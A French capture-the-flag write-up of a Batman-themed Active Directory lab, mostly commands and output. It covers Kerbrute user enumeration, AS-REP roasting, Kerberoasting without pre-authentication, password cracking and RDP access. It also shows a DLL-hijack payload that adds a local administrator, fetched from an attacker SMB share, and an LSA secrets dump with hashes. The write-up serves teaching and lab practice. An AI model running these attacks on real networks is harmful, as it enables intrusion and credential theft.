TL;DR
Notre équipe composée de membres de offenskill(Laluka), besecure(Kevin Mizu), Ooggle et bien évidement acceis(Ryzzen,TRIKKSS,Vozec, et bien évidemment votre seigneur KlemouLeZoZo) a remporté la première place.
Contexte
À la BarbHack 2024, mpgn connu pour avoir lancé le développement de nxc, aka l’ultime banger, a créé un Lab Windows pour le CTF. C’est assez rare pour le souligner, peu de CTF prennent le risque de proposer des challenges Active Directory à cause du temps demandé à la mise en place ainsi que de l’infrastructure nécessaire. Le challenge était sympathique et bien adapté au format de la compétition.
Reconnaissance
Dans un premier temps, il est essentiel de procéder à une phase de reconnaissance. Dans les environnements Windows, une bonne pratique consiste à débuter par un scan SMB. Ce service est en effet généralement exposé par défaut dans les architectures Active Directory, contrairement au protocole ICMP, souvent bloqué par les configurations par défaut des pare-feu.
SMB 10.2.10.10 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:GOTHAM.CITY) (signing:True) (SMBv1:False)
SMB 10.2.10.12 445 SRV02 [*] Windows Server 2022 Build 20348 x64 (name:SRV02) (domain:GOTHAM.CITY) (signing:False) (SMBv1:False)
SMB 10.2.10.11 445 SRV01 [*] Windows Server 2022 Build 20348 x64 (name:SRV01) (domain:GOTHAM.CITY) (signing:False) (SMBv1:False)
Le lab est constitué de trois machines sous Windows Server 2022 : deux serveurs classiques et un contrôleur de domaine. Ce dernier est facilement identifiable, notamment grâce à son nom explicite et à la présence du paramètre signing activé (valeur à True
), caractéristique typique d’un contrôleur de domaine (DC).
En l’absence de comptes utilisateurs, nos possibilités d’action sont limitées. Une des premières étapes consiste donc à identifier d’éventuels partages réseau accessibles en lecture anonyme, ce qui peut permettre de recueillir des informations sans authentification préalable.
$ smbclient -N -L \\\\SRV01.GOTHAM.CITY
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
CleanSlate Disk Basic RW share for all
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
Le partage réseau nommé CleanSlate
est accessible en lecture avec un compte guest.
smbclient -N \\\\SRV01.GOTHAM.CITY\\CleanSlate
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue May 20 21:01:34 2025
.. DHS 0 Tue May 20 21:01:47 2025
cleanslate.exe A 10510609 Tue May 20 21:01:33 2025
65535487 blocks of size 4096. 62570394 blocks available
$ smb: \> get cleanslate.exe
getting file \cleanslate.exe of size 10510609 as cleanslate.exe (34328.6 KiloBytes/sec) (average 34328.7 KiloBytes/sec)
Le partage contient l’exécutable cleanslate.exe
. Nous entamons donc ce lab par une phase de rétro. La première étape consiste à identifier le langage de programmation utilisé pour développer ce binaire.
Warning: L’exécutable du lab n’est pas le même que lors de l’événement BarbHack2024 en effet certaines chaines de caractères sont manquantes, j’ai donc choisi d’utiliser le binaire original issu de l’événement.
$ strings ./cleanslate.exe | grep python
pyi-python-flag
Failed to pre-initialize embedded python interpreter!
Failed to allocate PyConfig structure! Unsupported python version?
Failed to set python home path!
Failed to start embedded python interpreter!
pygments.lexers.python)
bpython311.dll
7python311.dll
L’analyse des chaînes de caractères extraites de l’exécutable révèle plusieurs occurrences explicites liées à Python, telles que pyi-python-flag
, bpython311.dll
ou encore Failed to start embedded python interpreter!
. Ces éléments suggèrent fortement qu’il s’agit d’un programme Python compilé, très probablement à l’aide de PyInstaller
.
Rétro chemin pédestre
La première étape consiste à extraire les fichiers Python compilés contenus dans l’exécutable au format PE.
$ git clone https://github.com/extremecoders-re/pyinstxtractor.git
Cloning into 'pyinstxtractor'...
remote: Enumerating objects: 209, done.
remote: Counting objects: 100% (91/91), done.
remote: Compressing objects: 100% (44/44), done.
remote: Total 209 (delta 60), reused 48 (delta 47), pack-reused 118 (from 2)
Receiving objects: 100% (209/209), 73.94 KiB | 2.74 MiB/s, done.
Resolving deltas: 100% (100/100), done.
$ cd pyinstxtractor
$ python3 ./pyinstxtractor.py ../cleanslate.exe
[+] Processing ../cleanslate.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.11
[+] Length of package: 10172177 bytes
[+] Found 26 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: cleanslate.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.11 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: ../cleanslate.exe
You can now use a python decompiler on the pyc files within the extracted directory
Les fichiers .pyc
extraits doivent être décompilés pour permettre une analyse du code source. Une solution en ligne efficace pour ce type d’opération est pylingual.io. Cependant, au moment de la rédaction de ces lignes, le site n’était pas accessible. J’ai donc opté pour l’outil du même nom disponible sur GitHub. Bien qu’il offre des fonctionnalités similaires, ses résultats se sont révélés moins fiables que ceux de la version en ligne.
$ git clone https://github.com/syssec-utd/pylingual.git
Cloning into 'pylingual'...
remote: Enumerating objects: 233, done.
remote: Counting objects: 100% (233/233), done.
remote: Compressing objects: 100% (146/146), done.
remote: Total 233 (delta 95), reused 221 (delta 86), pack-reused 0 (from 0)
Receiving objects: 100% (233/233), 903.16 KiB | 8.68 MiB/s, done.
Resolving deltas: 100% (95/95), done.
$ cd pylingual
$ python3 -m venv .
$ source ./bin/activate
$ pip install .
Processing /home/klemou/Ctf/barbhack/writeup/pylingual
Installing build dependencies ... done
Getting requirements to build wheel ... done
Preparing metadata (pyproject.toml) ... done
Collecting asttokens (from pylingual==0.0.1)
Downloading asttokens-3.0.0-py3-none-any.whl.metadata (4.7 kB)
Collecting click (from pylingual==0.0.1)
Using cached click-8.2.0-py3-none-any.whl.metadata (2.5 kB)
Collecting datasets (from pylingual==0.0.1)
...
$ ./bin/pylingual ../pyinstxtractor/cleanslate.exe_extracted/cleanslate.pyc
FUCKING BLACK MAGIE
Le code obtenu après décompilation est partiellement obfusqué, ce qui complique sa lecture. Toutefois, certaines chaînes de caractères restent lisibles. L’une d’elles retient particulièrement l’attention : "If any error contact this person: lucius.fox1337 this man is known for his careless style!"
Le nom d’utilisateur lucius.fox1337
pourra s’avérer très utile pour la suite de l’analyse.
from rich.progress import Progress
import time
import os
import base64
print('\n\n ..oo$00ooo.. ..ooo00$oo..\n .o$$$$$$$$$\' \'$$$$$$$$$o.\n .o$$$$$$$$$\" . . \"$$$$$$$$$o.\n .o$$$$$$$$$$~ /$ $\\ ~$$$$$$$$$$o.\n .{$$$$$$$$$$$. $\\___/$ .$$$$$$$$$$$}.\n o$$$$$$$$$$$$8 .$$$$$$$. 8$$$$$$$$$$$$o\n $$$$$$$$$$$$$$$ $$$$$$$$$ $$$$$$$$$$$$$$$\n o$$$$$$$$$$$$$$$. o$$$$$$$o .$$$$$$$$$$$$$$$o\n $$$$$$$$$$$$$$$$$. o{$$$$$$$}o .$$$$$$$$$$$$$$$$$\n ^$$$$$$$$$$$$$$$$$$. J$$$$$$$$$$$L .$$$$$$$$$$$$$$$$$$^\n !$$$$$$$$$$$$$$$$$$$$oo..oo$$$$$$$$$$$$$$$$$oo..oo$$$$$$$$$$$$$$$$$$$$$!\n {$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$}\n 6$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$?\n \'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\'\n o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o\n $$$$$$$$$$$$$$;\'~`^Y$$$7^\'\'o$$$$$$$$$$$o\'\'^Y$$$7^`~\';$$$$$$$$$$$$$$$\n \'$$$$$$$$$$$\' `$\' `\'$$$$$$$$$\' `$\' \'$$$$$$$$$$$$\'\n !$$$$$$$$$7 ! \'$$$$$$$\' ! V$$$$$$$$$!\n ^o$$$$$$! \'$$$$$\' !$$$$$$o^\n ^$$$$$\" $$$$$ \"$$$$$^\n \'o$$$` ^$$$\' \'$$$o\'\n ~$$$. $$$. .$$$~\n \'$;. `$\' .;$\'\n \'. ! .`\n\n')
def shift_char(c, shift):
"""Shift character by shift amount.""" # inserted
if c.isalpha():
shift_amount = shift + 26
base = 'A' if c.isupper() else 'a'
return (chr | ord(c) | ord(base), shift_amount + 26, ord(base))((<Code311 code object main at 0x72e8e8e8e5d0, file cleanslate.py>, line 79, __main__, Progress, rich.progress, time, os, base64, print, <mask_15>, KEY_FILE, KEY, <mask_18>, <mask_19>, <mask_20>, __name__, <module>, Shift character by shift amount., 26, A, a, 10, 0, isalpha, isupper, chr, ord, isdigit, c, shift, shift_amount, base, shift_char, r, True, 24, GOTHAMCITY, False, path, exists, open, read, strip, len, input_key, file, stored_key, is_valid_key, 3, , <Code311 code object <genexpr> at 0x72e8e8e8ea80, file cleanslate.py>, line 71, (-1), b64decode, decode, join, encoded_flag, decoded_bytes, decoded_flag, reversed_shifted_flag, original_flag, cleaning, .0, <genexpr>, Enter your key: , Key is valid! Cleaning data..., [green]Processing..., 100, 0.05, 1, Process completed! Flag:, If any error contact this person: lucius.fox1337 this man is known for is careless style !, Invalid key. Please try again., total, advance, input, add_task, range, sleep
else: # inserted
if c.isdigit():
shift_amount = shift + 10
return (chr | ord(c) | ord('0'), shift_amount | 10)(ord('0') + <Code311 code object main at 0x72e8e8e8e5d0, file cleanslate.py>, line 79)
else: # inserted
return c
KEY_FILE = 'C:\\SHARE\\key.txt'
KEY = 'fTk1NmRkMDQ2MDBpNjdnZDU0Z2dlMjdoNDNlZjJlNzFme2V1ZQ=='
def is_valid_key(input_key):
pass # cflow: irreducible
def cleaning(encoded_flag):
decoded_bytes = base64.b64decode(encoded_flag)
decoded_flag = decoded_bytes.decode()
shift = 3
reversed_shifted_flag = ''.join((shift_char(c, -shift) for c in decoded_flag))
original_flag = reversed_shifted_flag[::(-1)]
return original_flag
def main():
pass # cflow: irreducible
if __name__ == '__main__':
main()
La fonction chargée de décoder le flag a été entièrement reconstruite lors de la décompilation. Son fonctionnement est limpide et il suffit désormais de l’appeler en lui fournissant la clé appropriée en paramètre pour obtenir le flag.
print(cleaning(KEY)) # brb{c84b9cb01e49bdd12ad43f77317aa326}
Rétro analyse dynamique
En tant que personne simple qui aime les choses simples, je privilégie les analyses dynamiques permettant de résoudre le problème beaucoup plus rapidement qu’une étude statique.
Procmon
est un outil de monitoring qui permet d’observer en temps réel les accés aux ressources système. En appliquant un filtre sur le nom du processus ciblé, il devient possible de tracer l’ensemble des accès aux ressources de l’OS effectués par celui-ci, ce qui facilite grandement l’analyse dynamique du comportement du binaire.
L’analyse avec Procmon révèle une tentative d’accès à une ressource inexistante : C:\Share\key.txt
. Cette observation suggère que le programme attend la présence de ce fichier. Il est alors possible de créer manuellement le fichier, d’y insérer une clé, puis de relancer l’exécutable afin d’observer son comportement avec cette entrée.
Premier Utilisateur
Au vu des éléments déjà collectés, il apparaît clairement que le lab est construit autour de l’univers de Batman. Il est donc raisonnable de supposer que les noms d’utilisateurs suivent cette thématique. À partir de cette hypothèse, nous pouvons générer une wordlist ciblée en incluant notamment le nom d’utilisateur précédemment identifié (lucius.fox1337). Pour cela, nous allons utiliser l’outil le plus adapté à la situation, aka ChatGPT.
$ fait moi une wordlist d'utilisateur dans le themes de batman
brucewayne
...
batcave
Une fois la wordlist générée, il devient possible d’identifier les utilisateurs valides en exploitant les différences de messages d’erreur lors d’une tentative de demande de TGT (Ticket Granting Ticket). Pour cela, l’outil Kerbrute s’avère particulièrement adapté.
Kerbrute fonctionne en interrogeant le service Kerberos d’un contrôleur de domaine. Lorsqu’un nom d’utilisateur inexistant est soumis, le serveur renvoie une erreur explicite de type KDC_ERR_C_PRINCIPAL_UNKNOWN
. En revanche, si l’utilisateur existe mais que le mot de passe est incorrect, le message d’erreur sera différent, ce qui permet de distinguer les comptes valides sans connaître les mots de passe.
$ ./kerbrute_linux_amd64 userenum user.txt -d GOTHAM.CITY --dc DC01.GOTHAM.CITY
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 05/21/25 - Ronnie Flathers @ropnop
2025/05/21 01:17:03 > Using KDC(s):
2025/05/21 01:17:03 > DC01.GOTHAM.CITY:88
2025/05/21 01:17:03 > [+] VALID USERNAME: lucius.fox1337@GOTHAM.CITY
2025/05/21 01:17:03 > [+] VALID USERNAME: joker@GOTHAM.CITY
2025/05/21 01:17:03 > [+] VALID USERNAME: scarecrow@GOTHAM.CITY
2025/05/21 01:17:03 > [+] VALID USERNAME: bane@GOTHAM.CITY
2025/05/21 01:17:03 > Done! Tested 62 usernames (4 valid) in 0.024 seconds
Grâce à la wordlist générée avec l’aide de ChatGPT
, nous avons identifié trois noms d’utilisateurs valides : joker
, scarecrow
et bane
. Toutefois, à ce stade, notre champ d’action reste limité en l’absence de mots de passe. Une étape pertinente consiste alors à vérifier si l’option de pré-authentification Kerberos est désactivée pour l’un de ces comptes.
Pour cela, nous utilisons l’outil GetNPUsers.py
de la suite Impacket, qui permet de demander un ticket TGT sans fournir de mot de passe lorsque la pré-authentification est désactivée. Si c’est le cas, le ticket retourné pourra être soumis à une attaque offline (via Hashcat ou John) pour tenter de retrouver le mot de passe en clair.
$ GetNPUsers.py GOTHAM.CITY/lucius.fox1337 -no-pass
Impacket v0.13.0.dev0+20250508.104819.fde4265a - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for lucius.fox1337
$krb5asrep$23$lucius.fox1337@GOTHAM.CITY:df490bd12eaf4a4322c520a69f0175d2$13b6f47806f070bd6fb136dc3d5b2fb841308b19e17f3246e6d467e82b0606babb643f36c6a2737da67b5b9ae754e2f3ba9411dd9fe3145cbacabdabc72dbfbee8ae7b19e4d45ae2c59a6554f4d48ee3d89add776efef004b8b5b248fef62da5a384a611752e2328a951b4e387f5f96575a33fe43781ee16e8b125b300f94e621c9203286e4003ab3bbfb75de6227a6faabe3b39857a3a8f31ee7d7ccbc0381d9b4f6cc8b667609285438e025c15ccacbf07c264666e02f8378b688a42c08ac1d591aa537d02cca7be39a352f08cde97cb9d9d2abb31dc93161e7660e60271f0337f7f7cf93ee15f3607
Le compte lucius.fox1337
a été identifié comme ayant la pré-authentification Kerberos désactivée. Nous avons pu récupérer un ticket AS-REP au format ($krb5asrep$
).
Ce ticket a ensuite été soumis à John The Ripper avec le wordlist rockyou.txt
.
$ john --wordlist=/usr/share/dict/rockyou.txt ./lucius.hash
Warning: detected hash type "krb5asrep", but the string is also recognized as "krb5asrep-aes-opencl"
Use the "--format=krb5asrep-aes-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:12 DONE (2025-05-21 01:25) 0g/s 1134Kp/s 1134Kc/s 1134KC/s !!cookiedough..clarus
Session completed
Cependant, le mot de passe n’a pas été trouvé dans le dictionnaire.
En septembre 2022, il a été démontré qu’il est possible de récupérer un ticket de service (TGS) directement via une requête AS-REQ, en ciblant un compte vulnérable à l’AS-REP Roasting (pré-authentification désactivée) et en connaissant au préalable un ou plusieurs SPN valides dans le domaine (article). Contrairement à la méthode classique, cette technique ne nécessite pas d’obtenir un TGT au préalable, ce qui permet de mener une attaque de type Kerberoasting sans authentification préalable.
$ GetUserSPNs.py -no-preauth "lucius.fox1337" -usersfile ./valid_user.txt GOTHAM.CITY/
Impacket v0.13.0.dev0+20250508.104819.fde4265a - Copyright Fortra, LLC and its affiliated companies
[-] Principal: lucius.fox1337 - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$23$*joker$GOTHAM.CITY$joker*$9d0261b3560f741a8245f4bf546c0e37$a2ceaab9b1d04b2c1549aba955936be3fc6d5b8b59ad5f93a58dd83323583532bad2b5d30be915c8df403909ddf4d6183f4485375b88d726a819eb92823adabb5d5810ea252d53818479bc7b1a76ebbcec6efc3f82b2dd0546334bdd1e9eb9b857a6c8926011336eb9c5ef2ca6f7ed8401179892fdbf467bba5d1681dcc343d0249e5f49b405673427afd74405e82e4e1de3410af99c1dc2917c1999a78182d99ecd6fd60e2f390d45a4ffe453dd9b001eb6ef8f068d9aa4cd4bd09459624670714ae4863abae30e711a0f9cf295ca5f3a7ab2670de5c71e80dd67aa34e670bfda213f3fca90682ad8e9e5e01927b67dfc369144f9f54d9fdc00936c036deb113465a0aa2646db4b230d49a2d52a6075e6477cc96e111fd01885b8fcd349f329e929f313ee983da5c4eb2ae5a8e55099e47731a72e8fc8026174bb301eee2c5507a7c42deb07e02926a2cef13028cf114384d0afe508cd241f50ca3ff58760c7dfc0ad03b8b4fcf90c97250668e7131311ed8100bb08a1d1e948483fc36bcb686f1ae7b1a06acb3e66a73d4644e942a6f9230ed36b978b5701748f84c13e2009d01ae1648bcaaa5eb9089255321131bb8d8a99a6094507f542c7aa3c6cd463f2388c0dd2de050fdd09ecb5497ec8d496b47067ca646cd659a68ee01c50cea76fa3b26335db88a3261cd9290dc06dc362641ca1fd46cef72c8fd602412bfacf6a14c4429fca76f587942d6c31cc9a83a4fc695dc153a79079d51e755dce97e4466fb6bbf42d267bcd92c84df7bb5e77028a48999e3b32e4db8d04204777017d347a1f77749811bec430b85e3808aa4816a45c5cae344e7a10359add398b65397cf0867f9e91f24c30d21b147331174d87344082656edd100ed1720ad089b49a21f440b4e0834bbc1cc53ed694616c3b76e72fec53c85c5d628604e769abe942f76a0c0a97e79d6a086d755e72239d08b501b2cbf3b193335cd91af3146782aada5099411187caecbb336866721a3dfd14be545524b7f66d123cf361974537fd1ffb08e0d38e4f3b0658058093013e723348ebcc139fea7a81d11696bcf9e664a9bd91312e597f4f2cdd87612454694ad78befcfc5f9d3b923712bc04eacda8093f63a17e07c5bef78902eeedc1119b74f2c6a194898e9826da600fb673abf927ace1357af4ab172fa1a6fc03fe29b4d730db812063b99ee8bfdb825965e12a7214d47f04b440ebd5288191bfe3e9a3676d368ce89955de58d51960e9537fd4ca9b215d62b84d6b9b31a3445548c1a8454620e9f9505a7e34455ac08287a98e06a43361b944c944ec301a5da6c71c4917063a4f06510cbb28c62f252b9849881b4db288abbe9650ed3e97afbb9bd9e443e519044213104ab5acea7e71561608cd35f7f7b456a9240fd47610b28bb290143373931dbff396b6256e7
[-] Principal: scarecrow - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: bane - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: - invalid principal syntax
Grâce à la commande GetUserSPNs.py
et à l’option --no-preauth
, nous avons pu identifier un SPN exposé pour l’utilisateur joker, sans nécessiter de s’authentifier.
Une fois le ticket de service (TGS) récupéré, celui-ci a été cassé avec John The Ripper et le dictionnaire rockyou.txt. La magie opère rapidement : le mot de passe de l’utilisateur joker est retrouvé en quelques secondes.
$ john --wordlist=/usr/share/dict/rockyou.txt ./joker.hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<3batman0893 (?)
1g 0:00:00:05 DONE (2025-05-21 01:28) 0.1838g/s 2111Kp/s 2111Kc/s 2111KC/s =-=131931..;vdl;vdl
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Nous disposons désormais d’un premier jeu d’identifiants valides : utilisateur joker
avec le mot de passe <3batman0893
.
Énumération
Un bon réflexe à adopter une fois un accès authentifié obtenu consiste à cartographier les permissions et les relations au sein de l’Active Directory. Pour cela, BloodHound
reste une référence incontournable.
Dans ce contexte, RustHound
constitue une excellente alternative au collector classique. Rapide et compatible avec les environnements Linux, il permet de collecter efficacement les données LDAP nécessaires à l’analyse, sans dépendre d’un poste Windows.
$ rusthound-ce -u joker@GOTHAM.CITY -p '<3batman0893' -d GOTHAM.CITY -i DC01.GOTHAM.CITY -z
---------------------------------------------------
Initializing RustHound-CE at 01:31:20 on 05/21/25
Powered by @g0h4n_0
Special thanks to NH-RED-TEAM
---------------------------------------------------
[2025-05-20T23:31:20Z INFO rusthound_ce] Verbosity level: Info
[2025-05-20T23:31:20Z INFO rusthound_ce] Collection method: All
[2025-05-20T23:31:20Z INFO rusthound_ce::ldap] Connected to GOTHAM.CITY Active Directory!
[2025-05-20T23:31:20Z INFO rusthound_ce::ldap] Starting data collection...
[2025-05-20T23:31:20Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-05-20T23:31:20Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=GOTHAM,DC=CITY
[2025-05-20T23:31:20Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-05-20T23:31:20Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=GOTHAM,DC=CITY
[2025-05-20T23:31:20Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-05-20T23:31:20Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=GOTHAM,DC=CITY
[2025-05-20T23:31:20Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-05-20T23:31:20Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=GOTHAM,DC=CITY
[2025-05-20T23:31:20Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-05-20T23:31:20Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=GOTHAM,DC=CITY
[2025-05-20T23:31:20Z INFO rusthound_ce::json::parser] Starting the LDAP objects parsing...
[2025-05-20T23:31:20Z INFO rusthound_ce::objects::domain] MachineAccountQuota: 10
[2025-05-20T23:31:21Z INFO rusthound_ce::json::parser] Parsing LDAP objects finished!
[2025-05-20T23:31:21Z INFO rusthound_ce::json::checker] Starting checker to replace some values...
[2025-05-20T23:31:21Z INFO rusthound_ce::json::checker] Checking and replacing some values finished!
[2025-05-20T23:31:21Z INFO rusthound_ce::json::maker::common] 30 users parsed!
[2025-05-20T23:31:21Z INFO rusthound_ce::json::maker::common] 60 groups parsed!
[2025-05-20T23:31:21Z INFO rusthound_ce::json::maker::common] 3 computers parsed!
[2025-05-20T23:31:21Z INFO rusthound_ce::json::maker::common] 1 ous parsed!
[2025-05-20T23:31:21Z INFO rusthound_ce::json::maker::common] 3 domains parsed!
[2025-05-20T23:31:21Z INFO rusthound_ce::json::maker::common] 2 gpos parsed!
[2025-05-20T23:31:21Z INFO rusthound_ce::json::maker::common] 73 containers parsed!
[2025-05-20T23:31:21Z INFO rusthound_ce::json::maker::common] .//20250521013121_gotham-city_rusthound-ce.zip created!
RustHound-CE Enumeration Completed at 01:31:21 on 05/21/25! Happy Graphing!
Une fois l’archive zip générée par RustHound récupérée, il suffit de lancer l’interface BloodHound pour l’analyser. L’option la plus simple et portable consiste à utiliser le fichier docker-compose.yml
disponible sur le dépôt officiel BloodHound – SpecterOps.
SRV01
L’utilisateur joker ne dispose pas de privilèges administrateur sur les serveurs du lab. Il est donc pertinent de tester l’accès aux protocoles d’administration classiques, tels que RDP
(Remote Desktop Protocol) et WinRM
(Windows Remote Management), afin de déterminer s’il est possible d’obtenir un shell distant ou d’interagir directement avec les machines via des canaux légitimes.
$ nxc rdp 10.2.10.0/24 -u joker -p '<3batman0893'
RDP 10.2.10.12 3389 SRV02 [*] Windows 10 or Windows Server 2016 Build 20348 (name:SRV02) (domain:GOTHAM.CITY) (nla:True)
RDP 10.2.10.10 3389 DC01 [*] Windows 10 or Windows Server 2016 Build 20348 (name:DC01) (domain:GOTHAM.CITY) (nla:True)
RDP 10.2.10.11 3389 SRV01 [*] Windows 10 or Windows Server 2016 Build 20348 (name:SRV01) (domain:GOTHAM.CITY) (nla:True)
RDP 10.2.10.12 3389 SRV02 [+] GOTHAM.CITY\joker:<3batman0893
RDP 10.2.10.10 3389 DC01 [+] GOTHAM.CITY\joker:<3batman0893
RDP 10.2.10.11 3389 SRV01 [+] GOTHAM.CITY\joker:<3batman0893 (Pwn3d!)
Les tests d’accès via les protocoles d’administration ont permis d’identifier une configuration permissive : une connexion RDP
est possible avec les identifiants de l’utilisateur joker
sur la machine SRV01.GOTHAM.CITY
.
SRV01 escalation de privilège
L’accès RDP obtenu nous place dans le contexte d’un utilisateur standard, sans privilèges particuliers. Une élévation de privilège sera donc nécessaire pour progresser.
Pour cela, l’outil PrivescCheck, développé par itm4n
, s’avère particulièrement adapté. Il permet d’automatiser de nombreux contrôles et génère un rapport HTML clair et lisible, bien plus accessible qu’une sortie texte brute.
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Audit -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML,CSV,XML"
Le rapport HTML révèle que l’utilisateur a des droits d’écriture dans le répertoire où se trouve le binaire du service WayneService
.
Une analyse dynamique de wayne.exe
, conduite selon la même méthodologie que précédemment, met en évidence une tentative de chargement d’une bibliothèque nommée alfred.dll
. Cette DLL est cependant absente du système, ce qui laisse entrevoir une opportunité d’hijacking de DLL.
À l’aide de la commande suivante, nous identifions le compte d’exécution du service
PS C:\Wayne> Get-WmiObject Win32_Service -Filter "Name='wayneservice'" | Select-Object Name, StartName, State, Status | Format-Table -AutoSize
Name StartName State Status
---- --------- ----- ------
WayneService LocalSystem Stopped OK
Le résultat confirme que le service est exécuté sous le compte SYSTEM
, ce qui signifie que toute DLL chargée par ce service sera exécutée avec des privilèges système, offrant ainsi un vecteur d’élévation de privilèges fiable.
Nous allons donc créer une DLL nommée alfred.dll
qui, une fois chargée, ajoutera un utilisateur local klemou
avec le mot de passe Chevalo123
, puis l’intégrera au groupe local administrators
.
#include <windows.h>
void payload()
{
system("net user klemou Chevalo123 /add");
system("net localgroup Administrators klemou /add");
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
payload();
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
La compilation de la DLL depuis un environnement Linux peut être réalisée à l’aide de MinGW avec la commande suivante :
$ x86_64-w64-mingw32-gcc -shared test.c -o alfred.dll
Il suffit ensuite de copier la DLL dans le répertoire du service WayneService
, puis de redémarrer ce dernier pour déclencher l’exécution.
Pour faciliter le transfert du fichier, un partage SMB a été mis en place à l’aide d’Impacket :
$ smbserver.py -smb2support MAGIE /tmp
Ce serveur permet à la machine Windows de récupérer la DLL directement via le réseau.
PS C:\Wayne> cp \\192.168.1.105\MAGIE\alfred.dll .
La copie s’effectue sans encombre, comme le confirme la commande dir
:
PS C:\Wayne> dir
Directory: C:\Wayne
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/21/2025 11:41 AM 114057 alfred.dll
-a---- 5/20/2025 3:01 PM 115712 wayne.exe
Une fois la DLL en place, nous tentons de démarrer le service :
PS C:\Wayne> net start WayneService
The service is not responding to the control function.
More help is available by typing NET HELPMSG 2186.
Bien que le service ne réponde pas correctement (probablement à cause de notre DLL artisanale), l’objectif est atteint : le code contenu dans la DLL a été exécutée. Pour le vérifier, il suffit d’inspecter les comptes utilisateurs du système :
PS C:\Wayne> net user
User accounts for \\SRV01
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
klemou localuser WDAGUtilityAccount
The command completed successfully.
PS C:\Wayne> net user klemou
User name klemou
...
Local Group Memberships *Administrators *Users
Global Group memberships *None
The command completed successfully.
Bingo. Le compte klemou
est bien présent. Une inspection plus détaillée confirme que ce compte est Administrateur local de la machine.
SRV01 post-exploitation
À ce stade, le compte administrateur local klemou
, précédemment créé via la DLL malveillante, peut être utilisé pour accéder à des ressources sensibles sur la machine SRV01.
Une action classique en post-exploitation consiste à extraire les secrets LSA, qui peuvent contenir des hashes et parfois même des mots de passe en clair de compte de service.
$ nxc smb SRV01.GOTHAM.CITY -u klemou -p Chevalo123 --local-auth --lsa
SMB 10.2.10.11 445 SRV01 [*] Windows Server 2022 Build 20348 x64 (name:SRV01) (domain:SRV01) (signing:False) (SMBv1:False)
SMB 10.2.10.11 445 SRV01 [+] SRV01\klemou:Chevalo123 (Pwn3d!)
SMB 10.2.10.11 445 SRV01 [+] Dumping LSA secrets
SMB 10.2.10.11 445 SRV01 GOTHAM.CITY/Administrator:$DCC2$10240#Administrator#39485ed3512c727dd30b8f5dccd81131: (2025-05-20 19:10:24)
SMB 10.2.10.11 445 SRV01 GOTHAM.CITY/joker:$DCC2$10240#joker#e7d14d706a6a8a40939f0b5ed6fa4db1: (2025-05-21 15:31:03)
SMB 10.2.10.11 445 SRV01 GOTHAM\SRV01$:aes256-cts-hmac-sha1-96:09451b9f8ef39b89213092f6c48447902edd995fa2ce4f68f4271d3636909582
SMB 10.2.10.11 445 SRV01 GOTHAM\SRV01$:aes128-cts-hmac-sha1-96:b7ba32d1b091856bb0b74dcf62983132
SMB 10.2.10.11 445 SRV01 GOTHAM\SRV01$:des-cbc-md5:f83d76cb1623ce52
